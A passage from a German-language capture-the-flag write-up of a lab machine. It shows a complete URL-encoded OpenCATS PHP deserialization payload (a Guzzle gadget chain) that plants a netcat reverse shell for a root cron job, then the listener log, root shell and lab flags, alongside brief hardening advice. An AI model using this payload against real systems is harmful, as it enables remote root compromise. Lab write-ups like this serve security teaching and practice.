Empfehlung (Admin): (Siehe Empfehlungen zur PHP-Deserialisierung und zum Cronjob) Untersuchen und patchen Sie die OpenCATS-Anwendung auf Deserialisierungs-Schwachstellen. Überprüfen Sie alle Eingabeparameter auf sichere Verarbeitung. Protokollieren und überwachen Sie Webserver-Anfragen auf verdächtige Payloads.
Browser Request / Payload Injection: http://thisisnotcatitisopencats.kitty.hmv/index.php?m=activity¶metersactivity:ActivityDataGrid=a%3A2%3A%7Bi%3A7%3B%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3B%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A49%3A%22bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMzAgTAwMQo%3D%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A26%3A%22%2Fusr%2Flocal%2Fetc%2Fnewfile.txt%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
Analyse: Der Netcat-Listener, der auf Port 9001 auf dem Angreifer-System (192.168.2.130) lauscht, empfängt eine eingehende Verbindung vom Zielsystem (192.168.2.129). Der Befehl `id` wird in der erhaltenen Shell ausgeführt, gefolgt von `cat`-Befehlen zum Auslesen der User- und Root-Flags.
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht! Die Ausgabe `uid=0(root) gid=0(root) groups=0(root)` bestätigt eindeutig, dass die erhaltene Shell Root-Rechte besitzt. Die Kombination aus der PHP-Deserialisierungsschwachstelle in OpenCATS (ausgelöst durch den Browser-Request) und dem unsicheren Cronjob hat funktioniert. Der Payload wurde erfolgreich in `/usr/local/etc/newfile.txt` geschrieben, vom Cronjob verarbeitet und die Reverse Shell als Root gestartet. Die User-Flag (`3702...`) und die Root-Flag (`3f79...`) werden erfolgreich ausgelesen.
Empfehlung (Pentester):
listening on [any] 9001 ... connect to [192.168.2.130] from (UNKNOWN) [192.168.2.129] 48834 # id uid=0(root) gid=0(root) groups=0(root) # cat /home/dyutidhara/user.txt 3702f4d1247163b61b1cd8b368539cbf # cat root.txt 3f798f4e70a832c64e8f6f1462b04d0f